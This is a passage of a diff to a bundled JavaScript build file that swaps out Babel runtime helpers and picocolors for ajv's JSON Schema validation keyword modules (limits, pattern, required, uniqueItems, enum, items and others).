!= r8["@@iterator"]) - return Array.from(r8); - } - module5.exports = _iterableToArray3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var id_1 = require_id(); + var ref_1 = require_ref(); + var core2 = [ + "$schema", + "$id", + "$defs", + "$vocabulary", + { keyword: "$comment" }, + "definitions", + id_1.default, + ref_1.default + ]; + exports28.default = core2; } }); -// node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js -var require_unsupportedIterableToArray = __commonJS({ - "node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/limitNumber.js +var require_limitNumber = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/limitNumber.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var arrayLikeToArray = require_arrayLikeToArray(); - function _unsupportedIterableToArray3(r8, a7) { - if (r8) { - if ("string" == typeof r8) - return arrayLikeToArray(r8, a7); - var t8 = {}.toString.call(r8).slice(8, -1); - return "Object" === t8 && r8.constructor && (t8 = r8.constructor.name), "Map" === t8 || "Set" === t8 ? Array.from(r8) : "Arguments" === t8 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t8) ? arrayLikeToArray(r8, a7) : void 0; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var ops = codegen_1.operators; + var KWDs = { + maximum: { okStr: "<=", ok: ops.LTE, fail: ops.GT }, + minimum: { okStr: ">=", ok: ops.GTE, fail: ops.LT }, + exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, + exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } + }; + var error2 = { + message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, + params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` + }; + var def = { + keyword: Object.keys(KWDs), + type: "number", + schemaType: "number", + $data: true, + error: error2, + code(cxt) { + const { keyword, data, schemaCode } = cxt; + cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); } - } - module5.exports = _unsupportedIterableToArray3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/nonIterableSpread.js -var require_nonIterableSpread = __commonJS({ - "node_modules/@babel/runtime/helpers/nonIterableSpread.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/multipleOf.js +var require_multipleOf = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/multipleOf.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _nonIterableSpread3() { - throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); - } - module5.exports = _nonIterableSpread3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var error2 = { + message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, + params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` + }; + var def = { + keyword: "multipleOf", + type: "number", + schemaType: "number", + $data: true, + error: error2, + code(cxt) { + const { gen, data, schemaCode, it: it2 } = cxt; + const prec = it2.opts.multipleOfPrecision; + const res = gen.let("res"); + const invalid = prec ? (0, codegen_1._)`Math.abs(Math.round(${res}) - ${res}) > 1e-${prec}` : (0, codegen_1._)`${res} !== parseInt(${res})`; + cxt.fail$data((0, codegen_1._)`(${schemaCode} === 0 || (${res} = ${data}/${schemaCode}, ${invalid}))`); + } + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/toConsumableArray.js -var require_toConsumableArray = __commonJS({ - "node_modules/@babel/runtime/helpers/toConsumableArray.js"(exports28, module5) { +// node_modules/ajv/dist/runtime/ucs2length.js +var require_ucs2length = __commonJS({ + "node_modules/ajv/dist/runtime/ucs2length.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var arrayWithoutHoles = require_arrayWithoutHoles(); - var iterableToArray = require_iterableToArray(); - var unsupportedIterableToArray = require_unsupportedIterableToArray(); - var nonIterableSpread = require_nonIterableSpread(); - function _toConsumableArray3(r8) { - return arrayWithoutHoles(r8) || iterableToArray(r8) || unsupportedIterableToArray(r8) || nonIterableSpread(); + Object.defineProperty(exports28, "__esModule", { value: true }); + function ucs2length(str2) { + const len = str2.length; + let length = 0; + let pos = 0; + let value2; + while (pos < len) { + length++; + value2 = str2.charCodeAt(pos++); + if (value2 >= 55296 && value2 <= 56319 && pos < len) { + value2 = str2.charCodeAt(pos); + if ((value2 & 64512) === 56320) + pos++; + } + } + return length; } - module5.exports = _toConsumableArray3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + exports28.default = ucs2length; + ucs2length.code = 'require("ajv/dist/runtime/ucs2length").default'; } }); -// node_modules/@babel/runtime/helpers/arrayWithHoles.js -var require_arrayWithHoles = __commonJS({ - "node_modules/@babel/runtime/helpers/arrayWithHoles.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/limitLength.js +var require_limitLength = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/limitLength.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _arrayWithHoles(r8) { - if (Array.isArray(r8)) - return r8; - } - module5.exports = _arrayWithHoles, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var ucs2length_1 = require_ucs2length(); + var error2 = { + message({ keyword, schemaCode }) { + const comp = keyword === "maxLength" ? "more" : "fewer"; + return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; + }, + params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` + }; + var def = { + keyword: ["maxLength", "minLength"], + type: "string", + schemaType: "number", + $data: true, + error: error2, + code(cxt) { + const { keyword, data, schemaCode, it: it2 } = cxt; + const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; + const len = it2.opts.unicode === false ? (0, codegen_1._)`${data}.length` : (0, codegen_1._)`${(0, util_1.useFunc)(cxt.gen, ucs2length_1.default)}(${data})`; + cxt.fail$data((0, codegen_1._)`${len} ${op} ${schemaCode}`); + } + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/iterableToArrayLimit.js -var require_iterableToArrayLimit = __commonJS({ - "node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/pattern.js +var require_pattern2 = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/pattern.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _iterableToArrayLimit(r8, l7) { - var t8 = null == r8 ? null : "undefined" != typeof Symbol && r8[Symbol.iterator] || r8["@@iterator"]; - if (null != t8) { - var e10, n7, i7, u7, a7 = [], f8 = true, o7 = false; - try { - if (i7 = (t8 = t8.call(r8)).next, 0 === l7) { - if (Object(t8) !== t8) - return; - f8 = false; - } else - for (; !(f8 = (e10 = i7.call(t8)).done) && (a7.push(e10.value), a7.length !== l7); f8 = true) - ; - } catch (r9) { - o7 = true, n7 = r9; - } finally { - try { - if (!f8 && null != t8["return"] && (u7 = t8["return"](), Object(u7) !== u7)) - return; - } finally { - if (o7) - throw n7; - } - } - return a7; + Object.defineProperty(exports28, "__esModule", { value: true }); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var error2 = { + message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, + params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` + }; + var def = { + keyword: "pattern", + type: "string", + schemaType: "string", + $data: true, + error: error2, + code(cxt) { + const { data, $data, schema: schema8, schemaCode, it: it2 } = cxt; + const u7 = it2.opts.unicodeRegExp ? "u" : ""; + const regExp = $data ? (0, codegen_1._)`(new RegExp(${schemaCode}, ${u7}))` : (0, code_1.usePattern)(cxt, schema8); + cxt.fail$data((0, codegen_1._)`!${regExp}.test(${data})`); } - } - module5.exports = _iterableToArrayLimit, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/nonIterableRest.js -var require_nonIterableRest = __commonJS({ - "node_modules/@babel/runtime/helpers/nonIterableRest.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/limitProperties.js +var require_limitProperties = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/limitProperties.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _nonIterableRest() { - throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); - } - module5.exports = _nonIterableRest, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var error2 = { + message({ keyword, schemaCode }) { + const comp = keyword === "maxProperties" ? "more" : "fewer"; + return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; + }, + params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` + }; + var def = { + keyword: ["maxProperties", "minProperties"], + type: "object", + schemaType: "number", + $data: true, + error: error2, + code(cxt) { + const { keyword, data, schemaCode } = cxt; + const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; + cxt.fail$data((0, codegen_1._)`Object.keys(${data}).length ${op} ${schemaCode}`); + } + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/slicedToArray.js -var require_slicedToArray = __commonJS({ - "node_modules/@babel/runtime/helpers/slicedToArray.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/required.js +var require_required2 = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/required.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var arrayWithHoles = require_arrayWithHoles(); - var iterableToArrayLimit = require_iterableToArrayLimit(); - var unsupportedIterableToArray = require_unsupportedIterableToArray(); - var nonIterableRest = require_nonIterableRest(); - function _slicedToArray(r8, e10) { - return arrayWithHoles(r8) || iterableToArrayLimit(r8, e10) || unsupportedIterableToArray(r8, e10) || nonIterableRest(); - } - module5.exports = _slicedToArray, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error2 = { + message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, + params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` + }; + var def = { + keyword: "required", + type: "object", + schemaType: "array", + $data: true, + error: error2, + code(cxt) { + const { gen, schema: schema8, schemaCode, data, $data, it: it2 } = cxt; + const { opts } = it2; + if (!$data && schema8.length === 0) + return; + const useLoop = schema8.length >= opts.loopRequired; + if (it2.allErrors) + allErrorsMode(); + else + exitOnErrorMode(); + if (opts.strictRequired) { + const props = cxt.parentSchema.properties; + const { definedProperties } = cxt.it; + for (const requiredKey of schema8) { + if ((props === null || props === void 0 ? void 0 : props[requiredKey]) === void 0 && !definedProperties.has(requiredKey)) { + const schemaPath = it2.schemaEnv.baseId + it2.errSchemaPath; + const msg = `required property "${requiredKey}" is not defined at "${schemaPath}" (strictRequired)`; + (0, util_1.checkStrictMode)(it2, msg, it2.opts.strictRequired); + } + } + } + function allErrorsMode() { + if (useLoop || $data) { + cxt.block$data(codegen_1.nil, loopAllRequired); + } else { + for (const prop of schema8) { + (0, code_1.checkReportMissingProp)(cxt, prop); + } + } + } + function exitOnErrorMode() { + const missing = gen.let("missing"); + if (useLoop || $data) { + const valid = gen.let("valid", true); + cxt.block$data(valid, () => loopUntilMissing(missing, valid)); + cxt.ok(valid); + } else { + gen.if((0, code_1.checkMissingProp)(cxt, schema8, missing)); + (0, code_1.reportMissingProp)(cxt, missing); + gen.else(); + } + } + function loopAllRequired() { + gen.forOf("prop", schemaCode, (prop) => { + cxt.setParams({ missingProperty: prop }); + gen.if((0, code_1.noPropertyInData)(gen, data, prop, opts.ownProperties), () => cxt.error()); + }); + } + function loopUntilMissing(missing, valid) { + cxt.setParams({ missingProperty: missing }); + gen.forOf(missing, schemaCode, () => { + gen.assign(valid, (0, code_1.propertyInData)(gen, data, missing, opts.ownProperties)); + gen.if((0, codegen_1.not)(valid), () => { + cxt.error(); + gen.break(); + }); + }, codegen_1.nil); + } + } + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/utils.js -var require_utils = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/utils.js"(exports28) { +// node_modules/ajv/dist/vocabularies/validation/limitItems.js +var require_limitItems = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/limitItems.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28.notUndefined = exports28.isRequiredError = exports28.isEnumError = exports28.isAnyOfError = exports28.getSiblings = exports28.getErrors = exports28.getChildren = exports28.concatAll = void 0; - var eq2 = function eq3(x7) { - return function(y7) { - return x7 === y7; - }; - }; - var not = function not2(fn) { - return function(x7) { - return !fn(x7); - }; - }; - var getValues = function getValues2(o7) { - return Object.values(o7); - }; - var notUndefined = exports28.notUndefined = function notUndefined2(x7) { - return x7 !== void 0; - }; - var isXError = function isXError2(x7) { - return function(error2) { - return error2.keyword === x7; - }; - }; - var isRequiredError = exports28.isRequiredError = isXError("required"); - var isAnyOfError = exports28.isAnyOfError = isXError("anyOf"); - var isEnumError = exports28.isEnumError = isXError("enum"); - var getErrors = exports28.getErrors = function getErrors2(node) { - return node && node.errors || []; - }; - var getChildren = exports28.getChildren = function getChildren2(node) { - return node && getValues(node.children) || []; - }; - var getSiblings = exports28.getSiblings = function getSiblings2(parent2) { - return function(node) { - return getChildren(parent2).filter(not(eq2(node))); - }; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var error2 = { + message({ keyword, schemaCode }) { + const comp = keyword === "maxItems" ? "more" : "fewer"; + return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; + }, + params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` }; - var concatAll = exports28.concatAll = /* :: */ - function concatAll2(xs) { - return function(ys) { - return ys.reduce(function(zs, z6) { - return zs.concat(z6); - }, xs); - }; + var def = { + keyword: ["maxItems", "minItems"], + type: "array", + schemaType: "number", + $data: true, + error: error2, + code(cxt) { + const { keyword, data, schemaCode } = cxt; + const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; + cxt.fail$data((0, codegen_1._)`${data}.length ${op} ${schemaCode}`); + } }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/classCallCheck.js -var require_classCallCheck = __commonJS({ - "node_modules/@babel/runtime/helpers/classCallCheck.js"(exports28, module5) { +// node_modules/ajv/dist/runtime/equal.js +var require_equal = __commonJS({ + "node_modules/ajv/dist/runtime/equal.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _classCallCheck3(a7, n7) { - if (!(a7 instanceof n7)) - throw new TypeError("Cannot call a class as a function"); - } - module5.exports = _classCallCheck3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var equal2 = require_fast_deep_equal(); + equal2.code = 'require("ajv/dist/runtime/equal").default'; + exports28.default = equal2; } }); -// node_modules/@babel/runtime/helpers/createClass.js -var require_createClass = __commonJS({ - "node_modules/@babel/runtime/helpers/createClass.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/uniqueItems.js +var require_uniqueItems = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/uniqueItems.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var toPropertyKey = require_toPropertyKey(); - function _defineProperties3(e10, r8) { - for (var t8 = 0; t8 < r8.length; t8++) { - var o7 = r8[t8]; - o7.enumerable = o7.enumerable || false, o7.configurable = true, "value" in o7 && (o7.writable = true), Object.defineProperty(e10, toPropertyKey(o7.key), o7); + Object.defineProperty(exports28, "__esModule", { value: true }); + var dataType_1 = require_dataType(); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var equal_1 = require_equal(); + var error2 = { + message: ({ params: { i: i7, j: j6 } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j6} and ${i7} are identical)`, + params: ({ params: { i: i7, j: j6 } }) => (0, codegen_1._)`{i: ${i7}, j: ${j6}}` + }; + var def = { + keyword: "uniqueItems", + type: "array", + schemaType: "boolean", + $data: true, + error: error2, + code(cxt) { + const { gen, data, $data, schema: schema8, parentSchema, schemaCode, it: it2 } = cxt; + if (!$data && !schema8) + return; + const valid = gen.let("valid"); + const itemTypes = parentSchema.items ? (0, dataType_1.getSchemaTypes)(parentSchema.items) : []; + cxt.block$data(valid, validateUniqueItems, (0, codegen_1._)`${schemaCode} === false`); + cxt.ok(valid); + function validateUniqueItems() { + const i7 = gen.let("i", (0, codegen_1._)`${data}.length`); + const j6 = gen.let("j"); + cxt.setParams({ i: i7, j: j6 }); + gen.assign(valid, true); + gen.if((0, codegen_1._)`${i7} > 1`, () => (canOptimize() ? loopN : loopN2)(i7, j6)); + } + function canOptimize() { + return itemTypes.length > 0 && !itemTypes.some((t8) => t8 === "object" || t8 === "array"); + } + function loopN(i7, j6) { + const item = gen.name("item"); + const wrongType = (0, dataType_1.checkDataTypes)(itemTypes, item, it2.opts.strictNumbers, dataType_1.DataType.Wrong); + const indices = gen.const("indices", (0, codegen_1._)`{}`); + gen.for((0, codegen_1._)`;${i7}--;`, () => { + gen.let(item, (0, codegen_1._)`${data}[${i7}]`); + gen.if(wrongType, (0, codegen_1._)`continue`); + if (itemTypes.length > 1) + gen.if((0, codegen_1._)`typeof ${item} == "string"`, (0, codegen_1._)`${item} += "_"`); + gen.if((0, codegen_1._)`typeof ${indices}[${item}] == "number"`, () => { + gen.assign(j6, (0, codegen_1._)`${indices}[${item}]`); + cxt.error(); + gen.assign(valid, false).break(); + }).code((0, codegen_1._)`${indices}[${item}] = ${i7}`); + }); + } + function loopN2(i7, j6) { + const eql = (0, util_1.useFunc)(gen, equal_1.default); + const outer = gen.name("outer"); + gen.label(outer).for((0, codegen_1._)`;${i7}--;`, () => gen.for((0, codegen_1._)`${j6} = ${i7}; ${j6}--;`, () => gen.if((0, codegen_1._)`${eql}(${data}[${i7}], ${data}[${j6}])`, () => { + cxt.error(); + gen.assign(valid, false).break(outer); + }))); + } } - } - function _createClass3(e10, r8, t8) { - return r8 && _defineProperties3(e10.prototype, r8), t8 && _defineProperties3(e10, t8), Object.defineProperty(e10, "prototype", { - writable: false - }), e10; - } - module5.exports = _createClass3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; - } -}); - -// node_modules/@babel/runtime/helpers/assertThisInitialized.js -var require_assertThisInitialized = __commonJS({ - "node_modules/@babel/runtime/helpers/assertThisInitialized.js"(exports28, module5) { - init_dirname(); - init_buffer2(); - init_process2(); - function _assertThisInitialized3(e10) { - if (void 0 === e10) - throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); - return e10; - } - module5.exports = _assertThisInitialized3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/possibleConstructorReturn.js -var require_possibleConstructorReturn = __commonJS({ - "node_modules/@babel/runtime/helpers/possibleConstructorReturn.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/const.js +var require_const = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/const.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _typeof3 = require_typeof()["default"]; - var assertThisInitialized = require_assertThisInitialized(); - function _possibleConstructorReturn3(t8, e10) { - if (e10 && ("object" == _typeof3(e10) || "function" == typeof e10)) - return e10; - if (void 0 !== e10) - throw new TypeError("Derived constructors may only return object or undefined"); - return assertThisInitialized(t8); - } - module5.exports = _possibleConstructorReturn3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var equal_1 = require_equal(); + var error2 = { + message: "must be equal to constant", + params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` + }; + var def = { + keyword: "const", + $data: true, + error: error2, + code(cxt) { + const { gen, data, $data, schemaCode, schema: schema8 } = cxt; + if ($data || schema8 && typeof schema8 == "object") { + cxt.fail$data((0, codegen_1._)`!${(0, util_1.useFunc)(gen, equal_1.default)}(${data}, ${schemaCode})`); + } else { + cxt.fail((0, codegen_1._)`${schema8} !== ${data}`); + } + } + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/getPrototypeOf.js -var require_getPrototypeOf = __commonJS({ - "node_modules/@babel/runtime/helpers/getPrototypeOf.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/enum.js +var require_enum2 = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/enum.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _getPrototypeOf3(t8) { - return module5.exports = _getPrototypeOf3 = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function(t9) { - return t9.__proto__ || Object.getPrototypeOf(t9); - }, module5.exports.__esModule = true, module5.exports["default"] = module5.exports, _getPrototypeOf3(t8); - } - module5.exports = _getPrototypeOf3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var equal_1 = require_equal(); + var error2 = { + message: "must be equal to one of the allowed values", + params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` + }; + var def = { + keyword: "enum", + schemaType: "array", + $data: true, + error: error2, + code(cxt) { + const { gen, data, $data, schema: schema8, schemaCode, it: it2 } = cxt; + if (!$data && schema8.length === 0) + throw new Error("enum must have non-empty array"); + const useLoop = schema8.length >= it2.opts.loopEnum; + let eql; + const getEql = () => eql !== null && eql !== void 0 ? eql : eql = (0, util_1.useFunc)(gen, equal_1.default); + let valid; + if (useLoop || $data) { + valid = gen.let("valid"); + cxt.block$data(valid, loopEnum); + } else { + if (!Array.isArray(schema8)) + throw new Error("ajv implementation error"); + const vSchema = gen.const("vSchema", schemaCode); + valid = (0, codegen_1.or)(...schema8.map((_x, i7) => equalCode(vSchema, i7))); + } + cxt.pass(valid); + function loopEnum() { + gen.assign(valid, false); + gen.forOf("v", schemaCode, (v8) => gen.if((0, codegen_1._)`${getEql()}(${data}, ${v8})`, () => gen.assign(valid, true).break())); + } + function equalCode(vSchema, i7) { + const sch = schema8[i7]; + return typeof sch === "object" && sch !== null ? (0, codegen_1._)`${getEql()}(${data}, ${vSchema}[${i7}])` : (0, codegen_1._)`${data} === ${sch}`; + } + } + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/setPrototypeOf.js -var require_setPrototypeOf = __commonJS({ - "node_modules/@babel/runtime/helpers/setPrototypeOf.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/index.js +var require_validation = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/index.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - function _setPrototypeOf3(t8, e10) { - return module5.exports = _setPrototypeOf3 = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function(t9, e11) { - return t9.__proto__ = e11, t9; - }, module5.exports.__esModule = true, module5.exports["default"] = module5.exports, _setPrototypeOf3(t8, e10); - } - module5.exports = _setPrototypeOf3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var limitNumber_1 = require_limitNumber(); + var multipleOf_1 = require_multipleOf(); + var limitLength_1 = require_limitLength(); + var pattern_1 = require_pattern2(); + var limitProperties_1 = require_limitProperties(); + var required_1 = require_required2(); + var limitItems_1 = require_limitItems(); + var uniqueItems_1 = require_uniqueItems(); + var const_1 = require_const(); + var enum_1 = require_enum2(); + var validation = [ + // number + limitNumber_1.default, + multipleOf_1.default, + // string + limitLength_1.default, + pattern_1.default, + // object + limitProperties_1.default, + required_1.default, + // array + limitItems_1.default, + uniqueItems_1.default, + // any + { keyword: "type", schemaType: ["string", "array"] }, + { keyword: "nullable", schemaType: "boolean" }, + const_1.default, + enum_1.default + ]; + exports28.default = validation; } }); -// node_modules/@babel/runtime/helpers/inherits.js -var require_inherits = __commonJS({ - "node_modules/@babel/runtime/helpers/inherits.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/applicator/additionalItems.js +var require_additionalItems = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/additionalItems.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var setPrototypeOf = require_setPrototypeOf(); - function _inherits3(t8, e10) { - if ("function" != typeof e10 && null !== e10) - throw new TypeError("Super expression must either be null or a function"); - t8.prototype = Object.create(e10 && e10.prototype, { - constructor: { - value: t8, - writable: true, - configurable: true + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.validateAdditionalItems = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error2 = { + message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, + params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` + }; + var def = { + keyword: "additionalItems", + type: "array", + schemaType: ["boolean", "object"], + before: "uniqueItems", + error: error2, + code(cxt) { + const { parentSchema, it: it2 } = cxt; + const { items } = parentSchema; + if (!Array.isArray(items)) { + (0, util_1.checkStrictMode)(it2, '"additionalItems" is ignored when "items" is not an array of schemas'); + return; } - }), Object.defineProperty(t8, "prototype", { - writable: false - }), e10 && setPrototypeOf(t8, e10); + validateAdditionalItems(cxt, items); + } + }; + function validateAdditionalItems(cxt, items) { + const { gen, schema: schema8, data, keyword, it: it2 } = cxt; + it2.items = true; + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + if (schema8 === false) { + cxt.setParams({ len: items.length }); + cxt.pass((0, codegen_1._)`${len} <= ${items.length}`); + } else if (typeof schema8 == "object" && !(0, util_1.alwaysValidSchema)(it2, schema8)) { + const valid = gen.var("valid", (0, codegen_1._)`${len} <= ${items.length}`); + gen.if((0, codegen_1.not)(valid), () => validateItems(valid)); + cxt.ok(valid); + } + function validateItems(valid) { + gen.forRange("i", items.length, len, (i7) => { + cxt.subschema({ keyword, dataProp: i7, dataPropType: util_1.Type.Num }, valid); + if (!it2.allErrors) + gen.if((0, codegen_1.not)(valid), () => gen.break()); + }); + } } - module5.exports = _inherits3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + exports28.validateAdditionalItems = validateAdditionalItems; + exports28.default = def; } }); -// node_modules/picocolors/picocolors.browser.js -var require_picocolors_browser = __commonJS({ - "node_modules/picocolors/picocolors.browser.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/applicator/items.js +var require_items = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/items.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var x7 = String; - var create2 = function() { - return { isColorSupported: false, reset: x7, bold: x7, dim: x7, italic: x7, underline: x7, inverse: x7, hidden: x7, strikethrough: x7, black: x7, red: x7, green: x7, yellow: x7, blue: x7, magenta: x7, cyan: x7, white: x7, gray: x7, bgBlack: x7, bgRed: x7, bgGreen: x7, bgYellow: x7, bgBlue: x7, bgMagenta: x7, bgCyan: x7, bgWhite: x7, blackBright: x7, redBright: x7, greenBright: x7, yellowBright: x7, blueBright: x7, magentaBright: x7, cyanBright: x7, whiteBright: x7, bgBlackBright: x7, bgRedBright: x7, bgGreenBright: x7, bgYellowBright: x7, bgBlueBright: x7, bgMagentaBright: x7, bgCyanBright: x7, bgWhiteBright: x7 }; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.validateTuple = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var code_1 = require_code2(); + var def = { + keyword: "items", + type: "array", + schemaType: ["object", "array", "boolean"], + before: "uniqueItems", + code(cxt) { + const { schema: schema8, it: it2 } = cxt; + if (Array.isArray(schema8)) + return validateTuple(cxt, "additionalItems", schema8); + it2.items = true; + if ((0, util_1.alwaysValidSchema)(it2, schema8)) + return; + cxt.ok((0, code_1.validateArray)(cxt)); + } }; - module5.exports = create2(); - module5.exports.createColors = create2; + function validateTuple(cxt, extraItems, schArr = cxt.schema) { + const { gen, parentSchema, data, keyword, it: it2 } = cxt; + checkStrictTuple(parentSchema); + if (it2.opts.unevaluated && schArr.length && it2.items !== true) { + it2.items = util_1.mergeEvaluated.items(gen, schArr.length, it2.items); + } + const valid = gen.name("valid"); + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + schArr.forEach((sch, i7) => { + if ((0, util_1.alwaysValidSchema)(it2, sch)) + return; + gen.if((0, codegen_1._)`${len} > ${i7}`, () => cxt.subschema({ + keyword, + schemaProp: i7, + dataProp: i7 + }, valid)); + cxt.ok(valid); + }); + function checkStrictTuple(sch) { + const { opts, errSchemaPath } = it2; + const l7 = schArr.length; + const fullTuple = l7 === sch.minItems && (l7 === sch.maxItems || sch[extraItems] === false); + if (opts.strictTuples && !fullTuple) { + const msg = `"${keyword}" is ${l7}-tuple, but minItems or maxItems/${extraItems} are not specified or different at path "${errSchemaPath}"`; + (0, 